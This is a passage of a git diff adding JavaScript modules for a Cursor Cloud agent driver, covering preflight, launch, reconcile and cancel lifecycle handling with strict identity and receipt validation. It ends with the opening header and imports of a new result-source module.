'question_id'); + assertBoundedText(questionId, { + min: 1, max: MAX_CURSOR_CLOUD_QUESTION_ID_BYTES, path: `${path}.question_id`, label: 'question_id', + }); + return freezeData({ question_id: questionId }); +} + +function projectGitEvidence(receipt, identity, path) { + const startingSha = assertCommitSha(optOwn(receipt, 'starting_sha'), `${path}.starting_sha`); + if (startingSha !== identity.starting_sha) { + fail('stale_identity_denied', `${path}.starting_sha`, + 'Git evidence starting SHA does not match the immutable pinned commit.'); + } + const evidence = { + starting_sha: startingSha, + repository_identity: assertRepositoryIdentity( + optOwn(receipt, 'repository_identity'), `${path}.repository_identity`, + ), + }; + if (hasOwn(receipt, 'head_sha')) { + evidence.head_sha = assertCommitSha(optOwn(receipt, 'head_sha'), `${path}.head_sha`); + } + if (hasOwn(receipt, 'merge_base_sha')) { + evidence.merge_base_sha = assertCommitSha(optOwn(receipt, 'merge_base_sha'), `${path}.merge_base_sha`); + } + if (hasOwn(receipt, 'branch')) { + evidence.branch = assertPatternedId( + optOwn(receipt, 'branch'), CURSOR_CLOUD_BRANCH_PATTERN, `${path}.branch`, 'branch', + ); + } + if (hasOwn(receipt, 'linear_history')) { + const linear = optOwn(receipt, 'linear_history'); + if (linear !== true && linear !== false) { + fail('malformed_receipt', `${path}.linear_history`, + `${path}.linear_history must be an exact boolean when present.`); + } + evidence.linear_history = linear; + } + return freezeData(evidence); +} + +function requireTerminalGitEvidence(git, identity, path) { + if (git.head_sha === undefined || git.branch === undefined || git.merge_base_sha === undefined) { + fail('malformed_receipt', path, + 'Terminal Cursor Cloud evidence requires independently verifiable head, merge-base, and branch identity.'); + } + if (git.starting_sha !== identity.starting_sha) { + fail('stale_identity_denied', `${path}.starting_sha`, + 'Terminal Git evidence starting SHA does not match the immutable pinned commit.'); + } + if (git.merge_base_sha !== identity.starting_sha && git.merge_base_sha !== git.head_sha) { + fail('stale_identity_denied', `${path}.merge_base_sha`, + 'Terminal merge-base must equal the pinned starting SHA or the observed head; the adapter claims no extra ancestry.'); + } +} + +function runPreflight(store, request) { + const view = validateDriverPreflightRequestV1(request); + const identity = identityFromEnvelope(view.envelope, view.child_envelope_digest); + const prior = getLane(store, identity); + if (laneMayHaveSent(prior)) { + fail('invalid_transition', 'driver.preflight.request', + 'Preflight cannot run after a Cursor Cloud prompt may have been dispatched; reconcile or cancel instead.'); + } + const probe = transportIdentityRequest(identity); + assertNoContentKeys(probe, 'cursor_cloud_transport.preflight.request'); + let receipt; + try { + receipt = invokeTransport(store, 'preflight', probe); + } catch (error) { + void error; + putLane(store, identity, { state: 'blocked', model: identity.model }); + return driverResult('preflight', identity, 'blocked', blockedPreflightDetail('transport_unavailable')); + } + return inspectProviderReceipt('preflight', () => { + assertClosedReceipt(receipt, PREFLIGHT_RECEIPT_KEYS, 'transport.preflight.result'); + const repositoryIdentity = assertReceiptIdentity(receipt, identity, 'transport.preflight.result'); + assertRequiredFalse( + receipt, 'credential_bearing', 'transport.preflight.result', 'repository_credentials', + 'transport.preflight.result.credential_bearing must be exactly false.', + ); + assertRequiredFalse( + receipt, 'duplicate_identities', 'transport.preflight.result', 'duplicate_identity', + 'transport.preflight.result.duplicate_identities must be exactly false.', + ); + assertRequiredFalse( + receipt, 'auto_create_pr', 'transport.preflight.result', 'merge_authority_denied', + 'transport.preflight.result.auto_create_pr must be exactly false.', + ); + const ok = optOwn(receipt, 'ok'); + if (ok === true) { + if (hasOwn(receipt, 'detail_code') || hasOwn(receipt, 'detail_message')) { + fail('detail_pair_denied', 'transport.preflight.result.detail_code', + 'A ready Cursor Cloud preflight receipt must not carry a detail pair.'); + } + const requested = assertExactModel( + optOwn(receipt, 'requested_model'), 'transport.preflight.result.requested_model', + ); + const effective = assertExactModel( + optOwn(receipt, 'effective_model'), 'transport.preflight.result.effective_model', + ); + if (requested !== identity.model || effective !== identity.model) { + putLane(store, identity, { state: 'blocked', model: identity.model }); + return driverResult('preflight', identity, 'blocked', blockedPreflightDetail('model_unattested')); + } + assertCommitSha(optOwn(receipt, 'starting_sha'), 'transport.preflight.result.starting_sha'); + assertCommitSha(optOwn(receipt, 'head_sha'), 'transport.preflight.result.head_sha'); + if (optOwn(receipt, 'head_sha') !== identity.starting_sha + || optOwn(receipt, 'starting_sha') !== identity.starting_sha) { + putLane(store, identity, { state: 'blocked', model: identity.model }); + return driverResult('preflight', identity, 'blocked', blockedPreflightDetail('base_advanced')); + } + if (optOwn(receipt, 'workspace_clean') !== true) { + putLane(store, identity, { state: 'blocked', model: identity.model }); + return driverResult('preflight', identity, 'blocked', blockedPreflightDetail('workspace_dirty')); + } + if (optOwn(receipt, 'starting_ref_commit') !== true) { + putLane(store, identity, { state: 'blocked', model: identity.model }); + return driverResult('preflight', identity, 'blocked', blockedPreflightDetail('starting_ref_invalid')); + } + if (optOwn(receipt, 'starting_ref_visible') !== true) { + putLane(store, identity, { state: 'blocked', model: identity.model }); + return driverResult('preflight', identity, 'blocked', blockedPreflightDetail('starting_ref_invisible')); + } + assertRepositoryUrl(optOwn(receipt, 'repository_url'), 'transport.preflight.result.repository_url'); + putLane(store, identity, { + state: 'ready', + model: identity.model, + repository_identity: repositoryIdentity, + repository_url: optOwn(receipt, 'repository_url'), + requested_model: requested, + effective_model: effective, + }); + return driverResult('preflight', identity, 'ready'); + } + if (ok !== false) { + fail('malformed_receipt', 'transport.preflight.result.ok', + 'transport.preflight.result.ok must be an exact boolean.'); + } + const blockedCode = hasOwn(receipt, 'detail_code') ? optOwn(receipt, 'detail_code') : 'preflight_blocked'; + if (typeof blockedCode !== 'string' || !capturedTest(DETAIL_CODE_PATTERN, blockedCode)) { + fail('invalid_format', 'transport.preflight.result.detail_code', + 'transport.preflight.result.detail_code violates the bounded detail-code grammar.'); + } + putLane(store, identity, { state: 'blocked', model: identity.model }); + return driverResult('preflight', identity, 'blocked', blockedPreflightDetail(blockedCode)); + }); +} + +function runLaunch(store, request) { + const view = validateDriverLaunchRequestV1(request); + const identity = identityFromEnvelope(view.envelope, view.child_envelope_digest); + const prior = getLane(store, identity); + assertLaneIdentity(prior, identity, 'driver.launch.request'); + if (prior === undefined || (prior.state !== 'ready' && prior.state !== 'not_sent')) { + if (prior !== undefined && prior.created === true) { + fail('replay_denied', 'driver.launch.request', + 'A previous Cursor Cloud launch may have sent the prompt; the lane is never replayed or fallback-substituted.'); + } + fail('not_preflighted', 'driver.launch.request', + 'Launch requires a prior preflight:ready result for this exact Cursor Cloud child identity.'); + } + if (prior.state === 'blocked') { + fail('blocked_lane_denied', 'driver.launch.request', + 'A blocked Cursor Cloud preflight cannot launch; the lane fails closed with no fallback.'); + } + + const proposed = proposedAgentId(identity); + let createInvoked = false; + let agentId; + let repositoryIdentity = prior.repository_identity; + try { + const createRequest = transportIdentityRequest(identity, { + proposed_agent_id: proposed, + repository_url: prior.repository_url, + repository_identity: prior.repository_identity, + auto_create_pr: false, + }); + assertNoContentKeys(createRequest, 'cursor_cloud_transport.create.request'); + if (optOwn(createRequest, 'auto_create_pr') !== false) { + fail('merge_authority_denied', 'cursor_cloud_transport.create.request.auto_create_pr', + 'Cursor Cloud create must send auto_create_pr false; automatic PR creation is prohibited.'); + } + createInvoked = true; + const created = invokeTransport(store, 'create', createRequest); + const createdView = inspectProviderReceipt('create', () => { + assertClosedReceipt(created, CREATE_RECEIPT_KEYS, 'transport.create.result'); + if (optOwn(created, 'created') !== true) { + fail('malformed_receipt', 'transport.create.result.created', + 'transport.create.result.created must be exactly true.'); + } + return { + repositoryIdentity: assertReceiptIdentity( + created, identity, 'transport.create.result', prior.repository_identity, + ), + agentId: assertPatternedId( + optOwn(created, 'agent_id'), CURSOR_CLOUD_AGENT_ID_PATTERN, + 'transport.create.result.agent_id', 'agent_id', + ), + }; + }); + repositoryIdentity = createdView.repositoryIdentity; + agentId = createdView.agentId; + } catch (error) { + if (error instanceof RunContractV1Error && createInvoked !== true && !isPostIntentFailure(error)) { + throw error; + } + if (createInvoked || isPostIntentFailure(error)) { + return markUncertain(store, identity, { repository_identity: repositoryIdentity }); + } + putLane(store, identity, { state: 'not_sent', model: identity.model }); + return driverResult('launch', identity, 'not_sent', { + detail_code: 'transport_unavailable', + detail_message: boundedDiagnosticMessage('transport_unavailable', + 'Cursor Cloud create failed before intent; no prompt was dispatched.'), + }); + } + + putLane(store, identity, { + state: 'created', + model: identity.model, + agent_id: agentId, + repository_identity: repositoryIdentity, + created: true, + dispatch_intent: true, + }); + + const requestId = bindRequestId(identity, agentId); + try { + const sendRequest = detachFrozenJson({ + ...transportIdentityRequest(identity, { + agent_id: agentId, + request_id: requestId, + repository_identity: repositoryIdentity, + auto_create_pr: false, + }), + envelope_text: view.request.envelope_text, + }); + const ack = invokeTransport(store, 'send', sendRequest); + return inspectProviderReceipt('send', () => { + assertClosedReceipt(ack, SEND_RECEIPT_KEYS, 'transport.send.result'); + if (optOwn(ack, 'acknowledged') !== true) { + return markUncertain(store, identity, { + agent_id: agentId, request_id: requestId, repository_identity: repositoryIdentity, + }); + } + const ackRepo = assertReceiptIdentity( + ack, identity, 'transport.send.result', repositoryIdentity, + ); + const ackAgent = assertPatternedId( + optOwn(ack, 'agent_id'), CURSOR_CLOUD_AGENT_ID_PATTERN, 'transport.send.result.agent_id', 'agent_id', + ); + if (ackAgent !== agentId) { + fail('stale_identity_denied', 'transport.send.result.agent_id', + 'Send acknowledgement agent_id must match the created Cursor Cloud agent.'); + } + const ackRequestId = assertPatternedId( + optOwn(ack, 'request_id'), CURSOR_CLOUD_REQUEST_ID_PATTERN, 'transport.send.result.request_id', 'request_id', + ); + if (ackRequestId !== requestId) { + fail('stale_identity_denied', 'transport.send.result.request_id', + 'Send acknowledgement request_id must match the exact dispatch attempt.'); + } + const providerRunId = assertPatternedId( + optOwn(ack, 'provider_run_id'), CURSOR_CLOUD_RUN_ID_PATTERN, + 'transport.send.result.provider_run_id', 'provider_run_id', + ); + const branch = assertPatternedId( + optOwn(ack, 'branch'), CURSOR_CLOUD_BRANCH_PATTERN, 'transport.send.result.branch', 'branch', + ); + putLane(store, identity, { + state: 'dispatched', + model: identity.model, + agent_id: ackAgent, + provider_run_id: providerRunId, + request_id: ackRequestId, + branch, + repository_identity: ackRepo, + created: true, + dispatch_intent: true, + acknowledged: true, + }); + return driverResult('launch', identity, 'dispatched'); + }); + } catch (error) { + void error; + return markUncertain(store, identity, { + agent_id: agentId, request_id: requestId, repository_identity: repositoryIdentity, + }); + } +} + +function observeLane(store, identity, record, include) { + const extras = { + include: [...include], + agent_id: record.agent_id, + provider_run_id: record.provider_run_id, + request_id: record.request_id, + branch: record.branch, + repository_identity: record.repository_identity, + }; + const observeRequest = transportIdentityRequest(identity, extras); + assertNoContentKeys(observeRequest, 'cursor_cloud_transport.observe.request'); + const receipt = invokeTransport(store, 'observe', observeRequest); + return inspectProviderReceipt('observe', () => { + assertClosedReceipt(receipt, OBSERVE_RECEIPT_KEYS, 'transport.observe.result'); + assertReceiptIdentity(receipt, identity, 'transport.observe.result', record.repository_identity); + assertExactRunBinding(receipt, record, 'transport.observe.result'); + const status = optOwn(receipt, 'status'); + if (!capturedIncludes(CURSOR_CLOUD_OBSERVE_STATUSES, status)) { + fail('invalid_format', 'transport.observe.result.status', + `transport.observe.result.status must be one of ${capturedJoin(CURSOR_CLOUD_OBSERVE_STATUSES, ', ')}.`); + } + if (hasOwn(receipt, 'elapsed_ms')) { + assertBoundedCount( + optOwn(receipt, 'elapsed_ms'), 'transport.observe.result.elapsed_ms', MAX_CURSOR_CLOUD_TIMING_MS, + ); + } + if (hasOwn(receipt, 'event_count')) { + assertBoundedCount( + optOwn(receipt, 'event_count'), 'transport.observe.result.event_count', MAX_CURSOR_CLOUD_EVENT_COUNT, + ); + } + if (hasOwn(receipt, 'cursor')) { + assertCursorToken(optOwn(receipt, 'cursor'), 'transport.observe.result.cursor'); + } + const git = projectGitEvidence(receipt, identity, 'transport.observe.result'); + const events = capturedIncludes(include, 'detailed_events') + ? projectEvents(optOwn(receipt, 'events'), 'transport.observe.result.events') + : capturedFreeze([]); + const progress = capturedIncludes(include, 'live_progress') + ? projectProgress(optOwn(receipt, 'progress'), 'transport.observe.result.progress') + : undefined; + const attention = projectAttention(optOwn(receipt, 'attention'), 'transport.observe.result.attention'); + if (capturedIncludes(TERMINAL_OBSERVE_STATUSES, status)) { + requireTerminalGitEvidence(git, identity, 'transport.observe.result'); + } + return capturedFreeze({ + receipt, + status, + git, + events, + progress, + attention, + agent_id: optOwn(receipt, 'agent_id'), + provider_run_id: optOwn(receipt, 'provider_run_id'), + request_id: optOwn(receipt, 'request_id'), + branch: optOwn(receipt, 'branch'), + }); + }); +} + +function reconcileDisposition(status) { + if (status === 'needs_attention') return 'unresolved_attention'; + if (status === 'lost') return 'dispatch_uncertain'; + if (capturedIncludes(TERMINAL_OBSERVE_STATUSES, status)) return 'terminal'; + return 'in_progress'; +} + +function latchedTerminalResult(operation, identity, record) { + const extras = operation === 'reconcile' && record.terminal_detail + ? record.terminal_detail + : {}; + return driverResult(operation, identity, 'terminal', extras); +} + +function runReconcile(store, request) { + const view = validateDriverReconcileRequestV1(request); + const identity = identityFromEnvelope(view.envelope, view.child_envelope_digest); + const prior = getLane(store, identity); + if (prior === undefined || prior.created !== true) { + fail('not_dispatched', 'driver.reconcile.request', + 'Reconcile addresses an existing Cursor Cloud dispatch; this child has no launch observation.'); + } + assertLaneIdentity(prior, identity, 'driver.reconcile.request'); + const include = view.include ?? capturedFreeze([]); + const latched = hasTerminalLatch(prior); + + if (view.intent === 'restart_reattach' && !latched) { + if (!hasExactRecordedRunIdentity(prior)) { + putLane(store, identity, { ...prior, state: 'dispatch_uncertain' }); + return driverResult('reconcile', identity, 'dispatch_uncertain'); + } + const reattachRequest = transportIdentityRequest(identity, { + agent_id: prior.agent_id, + provider_run_id: prior.provider_run_id, + request_id: prior.request_id, + branch: prior.branch, + repository_identity: prior.repository_identity, + }); + assertNoContentKeys(reattachRequest, 'cursor_cloud_transport.reattach.request'); + const reattached = invokeTransport(store, 'reattach', reattachRequest); + inspectProviderReceipt('reattach', () => { + assertClosedReceipt(reattached, REATTACH_RECEIPT_KEYS, 'transport.reattach.result'); + if (optOwn(reattached, 'reattached') !== true) { + fail('stale_identity_denied', 'transport.reattach.result.reattached', + 'restart_reattach recovered no live Cursor Cloud run; the lane fails closed and is never relaunched.'); + } + assertReceiptIdentity(reattached, identity, 'transport.reattach.result', prior.repository_identity); + assertExactRunBinding(reattached, prior, 'transport.reattach.result'); + const agentId = assertPatternedId( + optOwn(reattached, 'agent_id'), CURSOR_CLOUD_AGENT_ID_PATTERN, + 'transport.reattach.result.agent_id', 'agent_id', + ); + putLane(store, identity, { ...prior, agent_id: agentId, reattached: true }); + }); + } + + if (latched) { + putLane(store, identity, { + ...prior, + state: capturedIncludes(TERMINAL_LATCH_STATES, prior.state) ? prior.state : 'terminal', + terminal_latch: true, + }); + return latchedTerminalResult('reconcile', identity, prior); + } + + const currentBeforeObserve = getLane(store, identity); + if (!hasExactRecordedRunIdentity(currentBeforeObserve)) { + putLane(store, identity, { ...currentBeforeObserve, state: 'dispatch_uncertain' }); + return driverResult('reconcile', identity, 'dispatch_uncertain'); + } + + const observed = observeLane(store, identity, currentBeforeObserve, include); + const current = getLane(store, identity); + const disposition = current.state === 'dispatch_uncertain' && observed.status === 'lost' + ? 'dispatch_uncertain' + : reconcileDisposition(observed.status); + const nextState = disposition === 'unresolved_attention' ? 'unresolved_attention' + : disposition === 'terminal' ? 'terminal' + : disposition === 'dispatch_uncertain' ? 'dispatch_uncertain' + : 'in_progress'; + const terminalDetail = nextState === 'terminal' + ? capturedFreeze({ + detail_code: 'terminal_evidence', + detail_message: boundedDiagnosticMessage('terminal_evidence', + `status=${observed.status} branch=${observed.git.branch} head=${observed.git.head_sha}`), + }) + : undefined; + const attentionDetail = nextState === 'unresolved_attention' + ? capturedFreeze({ + detail_code: 'unresolved_attention', + detail_message: boundedDiagnosticMessage('unresolved_attention', + 'same-session reply is unsupported; the question remains unresolved evidence'), + }) + : undefined; + const priorTruncated = current.evidence !== undefined && current.evidence.evidence_truncated === true; + putLane(store, identity, { + ...current, + state: nextState, + evidence: freezeData({ + schema: CURSOR_CLOUD_EVIDENCE_SCHEMA_ID, + run_id: identity.run_id, + assignment_id: identity.assignment_id, + child_envelope_digest: identity.child_envelope_digest, + agent_id: observed.agent_id ?? current.agent_id ?? null, + provider_run_id: observed.provider_run_id ?? current.provider_run_id ?? null, + request_id: observed.request_id ?? current.request_id ?? null, + branch: observed.branch ?? current.branch ?? null, + git: observed.git, + events: observed.events, + progress: observed.progress ?? null, + attention: observed.attention ?? null, + status: observed.status, + evidence_truncated: evidenceTruncatedFlag( + observed.events, observed.progress, observed.status, priorTruncated, + ), + }), + last_status: observed.status, + agent_id: observed.agent_id ?? current.agent_id, + provider_run_id: observed.provider_run_id ?? current.provider_run_id, + request_id: observed.request_id ?? current.request_id, + branch: observed.branch ?? current.branch, + terminal_latch: nextState === 'terminal', + terminal_detail: terminalDetail, + }); + if (nextState === 'unresolved_attention') { + return driverResult('reconcile', identity, disposition, attentionDetail); + } + if (nextState === 'terminal') { + return driverResult('reconcile', identity, disposition, terminalDetail); + } + if (capturedIncludes(include, 'live_progress') && observed.progress !== undefined) { + return driverResult('reconcile', identity, disposition, { + detail_code: 'live_progress', + detail_message: boundedDiagnosticMessage('live_progress', + `status=${observed.status} events=${observed.progress.event_count ?? 0}`), + }); + } + return driverResult('reconcile', identity, disposition); +} + +function runCancel(store, request) { + const view = validateDriverCancelRequestV1(request); + const identity = identityFromEnvelope(view.envelope, view.child_envelope_digest); + const prior = getLane(store, identity); + if (prior === undefined || prior.created !== true) { + fail('not_dispatched', 'driver.cancel.request', + 'Cancel addresses an existing Cursor Cloud dispatch; this child has no launch observation.'); + } + assertLaneIdentity(prior, identity, 'driver.cancel.request'); + if (hasTerminalLatch(prior)) { + putLane(store, identity, { ...prior, state: 'already_terminal', terminal_latch: true }); + return driverResult('cancel', identity, 'already_terminal', { + detail_code: 'already_terminal', + detail_message: boundedDiagnosticMessage('already_terminal', 'outcome=already_terminal'), + }); + } + if (!hasExactRecordedRunIdentity(prior)) { + fail('stale_identity_denied', 'driver.cancel.request', + 'Cursor Cloud cancellation requires the exact recorded agent, run, request, and branch identity; refusing to cancel an arbitrary run.'); + } + const cancelRequest = transportIdentityRequest(identity, { + agent_id: prior.agent_id, + provider_run_id: prior.provider_run_id, + request_id: prior.request_id, + branch: prior.branch, + repository_identity: prior.repository_identity, + }); + assertNoContentKeys(cancelRequest, 'cursor_cloud_transport.cancel.request'); + const receipt = invokeTransport(store, 'cancel', cancelRequest); + return inspectProviderReceipt('cancel', () => { + assertClosedReceipt(receipt, CANCEL_RECEIPT_KEYS, 'transport.cancel.result'); + assertReceiptIdentity(receipt, identity, 'transport.cancel.result', prior.repository_identity); + assertExactRunBinding(receipt, prior, 'transport.cancel.result'); + const outcome = optOwn(receipt, 'outcome'); + if (!capturedIncludes(CURSOR_CLOUD_CANCEL_OUTCOMES, outcome)) { + fail('invalid_format', 'transport.cancel.result.outcome', + `transport.cancel.result.outcome must be one of ${capturedJoin(CURSOR_CLOUD_CANCEL_OUTCOMES, ', ')}.`); + } + const archived = optOwn(receipt, 'archived'); + if (archived !== true && archived !== false) { + fail('malformed_receipt', 'transport.cancel.result.archived', + 'transport.cancel.result.archived must be an exact boolean.'); + } + const archiveCode = archived === true ? 'archive_confirmed' : 'archive_failed'; + if (outcome === 'cancel_requested') { + putLane(store, identity, { + ...prior, + state: 'cancel_requested', + cancel_outcome: outcome, + archived, + terminal_latch: false, + }); + return driverResult('cancel', identity, 'cancel_requested', { + detail_code: 'cancel_requested', + detail_message: boundedDiagnosticMessage('cancel_requested', `outcome=cancel_requested archived=${archived}`), + }); + } + putLane(store, identity, { + ...prior, + state: outcome, + cancel_outcome: outcome, + archived, + terminal_latch: true, + }); + return driverResult('cancel', identity, outcome, { + detail_code: outcome === 'already_terminal' ? 'already_terminal' : archiveCode, + detail_message: boundedDiagnosticMessage(archiveCode, `outcome=${outcome} archived=${archived}`), + }); + }); +} + +export function createCursorCloudDriverV1(transport) { + assertCursorCloudTransportV1(transport); + const handlers = capturedCreate(null); + for (const operation of CURSOR_CLOUD_TRANSPORT_OPERATIONS) { + const handler = capturedDescriptor(transport, operation)?.value; + capturedDefineProperty(handlers, operation, { + value: handler, + enumerable: true, + configurable: false, + writable: false, + }); + } + OBJECT_FREEZE(handlers); + const store = { + transport, + handlers, + lanes: new MAP_CTOR(), + }; + const driver = capturedCreate(null); + capturedDefineProperty(driver, 'preflight', { + value: (request) => guardLifecycle('preflight', () => runPreflight(store, request)), + enumerable: true, configurable: false, writable: false, + }); + capturedDefineProperty(driver, 'launch', { + value: (request) => guardLifecycle('launch', () => runLaunch(store, request)), + enumerable: true, configurable: false, writable: false, + }); + capturedDefineProperty(driver, 'reconcile', { + value: (request) => guardLifecycle('reconcile', () => runReconcile(store, request)), + enumerable: true, configurable: false, writable: false, + }); + capturedDefineProperty(driver, 'cancel', { + value: (request) => guardLifecycle('cancel', () => runCancel(store, request)), + enumerable: true, configurable: false, writable: false, + }); + OBJECT_FREEZE(driver); + DRIVER_STORES.set(driver, store); + assertProviderDriverV1(driver); + return driver; +} + +export function bindCursorCloudDriverV1(transport) { + const driver = createCursorCloudDriverV1(transport); + const bound = bindProviderDriverV1(driver, cursorCloudDriverDeclarationV1()); + DRIVER_STORES.set(bound, DRIVER_STORES.get(driver)); + return bound; +} + +export function inspectCursorCloudLaneEvidenceV1(driver, query) { + const path = 'cursor_cloud_evidence.query'; + if (query === undefined || query === null) { + fail('invalid_type', path, `${path} must be a plain evidence query object.`); + } + assertDirectJsonClosure(query, path); + assertPlainObject(query, 'invalid_type', path, path); + assertAllowedKeys(query, EVIDENCE_QUERY_KEYS, path); + for (const key of ['run_id', 'assignment_id', 'child_envelope_digest']) { + if (!hasOwn(query, key)) fail('missing_key', `${path}.${key}`, `${path}.${key} is required.`); + } + const digest = assertDigest(optOwn(query, 'child_envelope_digest'), `${path}.child_envelope_digest`); + const store = storeFor(driver); + const record = store.lanes.get(laneKey(optOwn(query, 'run_id'), optOwn(query, 'assignment_id'))); + if (record === undefined || !digestsEqual(record.identity.child_envelope_digest, digest)) { + fail('stale_identity_denied', path, + 'No Cursor Cloud evidence is stored for this exact child identity.'); + } + if (record.evidence === undefined) { + return freezeData({ + schema: CURSOR_CLOUD_EVIDENCE_SCHEMA_ID, + run_id: record.identity.run_id, + assignment_id: record.identity.assignment_id, + child_envelope_digest: record.identity.child_envelope_digest, + agent_id: record.agent_id ?? null, + provider_run_id: record.provider_run_id ?? null, + request_id: record.request_id ?? null, + branch: record.branch ?? null, + git: null, + events: capturedFreeze([]), + progress: null, + attention: null, + status: record.last_status ?? null, + evidence_truncated: false, + }); + } + return record.evidence; +} + +export function describeCursorCloudDriverV1() { + const declaration = cursorCloudDriverDeclarationV1(); + return capturedFreeze({ + schema: CURSOR_CLOUD_DRIVER_SCHEMA_ID, + version: CURSOR_CLOUD_DRIVER_VERSION, + provider: CURSOR_CLOUD_PROVIDER_SLOT, + driver_operations: capturedFreeze([...DRIVER_OPERATIONS]), + transport_schema: CURSOR_CLOUD_TRANSPORT_SCHEMA_ID, + transport_operations: capturedFreeze([...CURSOR_CLOUD_TRANSPORT_OPERATIONS]), + capability: declaration.capability, + features: declaration.features, + workspace_semantics: 'remote_provider_managed', + workspace_starting_point: 'pinned_pushed_sha', + merge_authority: 'none_codex_only_integration', + create_pr_posture: 'prohibited', + confirmation_rule: 'launch_dispatched_only_after_authoritative_sdk_run_identity', + post_intent_loss_rule: 'exception_timeout_or_loss_after_create_or_send_returns_dispatch_uncertain_never_replayed', + live_qualification: false, + durable_store: false, + supervisor_cutover: false, + claims: capturedFreeze({ + durable_run_store: false, + live_transport_qualification: false, + merge_or_pr_authority: false, + real_transport_configured: false, + replay_or_fallback: false, + same_session_reply: false, + supervisor_cutover: false, + }), + bounds: capturedFreeze({ + event_page: MAX_CURSOR_CLOUD_EVENT_PAGE, + event_bytes: MAX_CURSOR_CLOUD_EVENT_BYTES, + event_count: MAX_CURSOR_CLOUD_EVENT_COUNT, + timing_ms: MAX_CURSOR_CLOUD_TIMING_MS, + cursor_bytes: MAX_CURSOR_CLOUD_CURSOR_BYTES, + cursor_pattern: CURSOR_CLOUD_CURSOR_PATTERN.source, + }), + identities: capturedFreeze([ + 'provider', 'model', 'requested_model', 'effective_model', 'run_id', + 'assignment_id', 'lane_index', 'base_sha', 'child_envelope_digest', + 'starting_sha', 'repository_identity', 'agent_id', 'provider_run_id', + 'request_id', 'branch', + ]), + observe_statuses: capturedFreeze([...CURSOR_CLOUD_OBSERVE_STATUSES]), + cancel_outcomes: capturedFreeze([...CURSOR_CLOUD_CANCEL_OUTCOMES]), + detail_codes: capturedFreeze([...CURSOR_CLOUD_DETAIL_CODES]), + later_real_cursor_cloud_route: capturedFreeze({ + preflight: 'inspect clean local checkout, credential-free origin, and pinned pushed SHA without creating an agent', + create: 'Agent.create with autoCreatePR false and the exact repository/starting SHA', + send: 'agent.send with a stable request/idempotency id; treat as dispatched only after agent/run/request identity', + observe: 'getRun plus independently verifiable Git/branch/base evidence; never copy envelope bytes into diagnostics', + cancel: 'cancel the exact recorded run and report archive truthfully', + reattach: 'recover the exact recorded agent/run/request identity with no new prompt', + forbidden: capturedFreeze([ + 'cli_fallback_after_send', 'digest_only_launch', 'create_pr', 'merge_or_push', + 'post_intent_retry', 'provider_or_model_substitution', 'same_session_reply', + ]), + }), + feature_values: DRIVER_FEATURE_VALUES, + }); +} + +capturedFreeze(assertCursorCloudTransportV1); +capturedFreeze(createCursorCloudDriverV1); +capturedFreeze(bindCursorCloudDriverV1); +capturedFreeze(inspectCursorCloudLaneEvidenceV1); +capturedFreeze(describeCursorCloudDriverV1); +capturedFreeze(cursorCloudDriverDeclarationV1); diff --git a/plugins/codex-co-engineer/mcp/v3/cursor-cloud-result-source.mjs b/plugins/codex-co-engineer/mcp/v3/cursor-cloud-result-source.mjs new file mode 100644 index 0000000..f86b4c2 --- /dev/null +++ b/plugins/codex-co-engineer/mcp/v3/cursor-cloud-result-source.mjs @@ -0,0 +1,1832 @@ +// Cursor Cloud result source (P12; ADR 0001 identifiers +// `bounded_evidence`, `exact_identities`, +// `sanitized_bounded_evidence_model_facing`, +// Gate A `gate_a_valid_raw_and_sanitized_artifacts`, +// `codex_only_final_acceptance`). +// +// Additive v3 module. It materializes Cursor Cloud provider-reported +// result/output/status and independently observed Git/branch/commit/PR +// evidence as distinct typed sources. It does not sanitize, store, or +// range-read on its own: P09 `sanitizeAndPublishArtifactV1` and P08 +// `verifyStoredArtifactV1` remain the publication/verify authorities, +// and P10 `readSanitizedArtifactV1` is the only model-facing tail reader. +// +// Contract: +// - Provider-reported bytes and independently observed Git facts stay +// distinct. Trusted Git identity is never synthesized from provider +// text, JSON output, or status strings. +// - Exact run/assignment/request/repository/branch/head/base identity +// is bound into ArtifactRefV1 paths and the detached receipt. +// Mismatch fails closed with no replay or fallback. +// - Complete transport-available source bytes are stored up to the +// existing raw class cap. Receipts expose only bounded sanitized +// tails, refs, digests, and provenance. Upstream/provider +// truncation is caller-declared and is never inferred from inline +// clipping or storage limits. +// - Empty sources are not published and do not invent an artifact. +// - Crossing a class cap fails closed rather than clipping toward the cap. +// - Publication that does not verify is not reported. +// +// Provider completion remains evidence, never acceptance. This module +// does not dispatch Cloud runs, mutate Git, create PRs, or talk to +// supervisor, server, scheduler, or the P21 driver. + +import { Buffer as NodeBuffer } from 'node:buffer'; +import { createHash, timingSafeEqual as cryptoTimingSafeEqual } from 'node:crypto'; +import { chmod, mkdir } from 'node:fs/promises'; +import path from 'node:path'; +import { types as utilTypes } from 'node:util'; + +import { + validateArtifactRelativePathV1, +} from './artifact-path.mjs'; +import { + ARTIFACT_REF_SCHEMA_ID, + MAX_RAW_ARTIFACT_BYTE_LENGTH, + MIN_ARTIFACT_BYTE_LENGTH, + artifactRefDigestV1, + parseArtifactRefV1, +} from './artifact-ref.mjs'; +import { + readSanitizedArtifactV1, +} from './artifact-reader.mjs'; +import { + ARTIFACT_SANITIZER_SCHEMA_ID, + SANITIZER_CONTENT_ENCODING, + SANITIZER_MEDIA_TYPES, + sanitizeAndPublishArtifactV1, +} from './artifact-sanitizer.mjs'; +import { + openArtifactStoreV1, + verifyStoredArtifactV1, +} from './artifact-store.mjs'; +import { + capturedFreeze, + capturedIncludes, + capturedIsArray, + capturedOwnKeys, + capturedTest, + isKnownProvider, + isModelId, + sortedCapturedKeys, +} from './grammar.mjs'; +import { DIGEST_HEX_LENGTH } from './identity.mjs'; +import { + RunContractV1Error, + SHA40_PATTERN, + assertRunId, + isAssignmentId, + isSha40, +} from './run-manifest.mjs'; +import { + assertDirectJsonClosure, + assertNotProxy, + assertPlainObject, + fail, + freezeData, + hasOwn, + ownDescriptor, + ownDataValue, +} from './selection-json.mjs'; + +export const CURSOR_CLOUD_RESULT_SOURCE_SCHEMA_ID = + 'codex-co-engineer.cursor-cloud-result-source.v1'; +export const CURSOR_CLOUD_RESULT_SOURCE_VERSION = 1; +export const CURSOR_CLOUD_RESULT_SOURCE_PROVIDER = 'cursor-cloud'; +export const CURSOR_CLOUD_PROVIDER_REPORT_ARTIFACT_KIND = 'provider_report'; +export const CURSOR_CLOUD_GIT_EVIDENCE_ARTIFACT_KIND = 'git_diff'; +export const CURSOR_CLOUD_RESULT_STORE_DIR = 'artifacts'; +export const CURSOR_CLOUD_RESULT_SOURCE_INLINE_TAIL_MAX_BYTES = 4_096; + +export const CURSOR_CLOUD_RESULT_SOURCE_OPTION_KEYS = capturedFreeze([ + 'run_id', 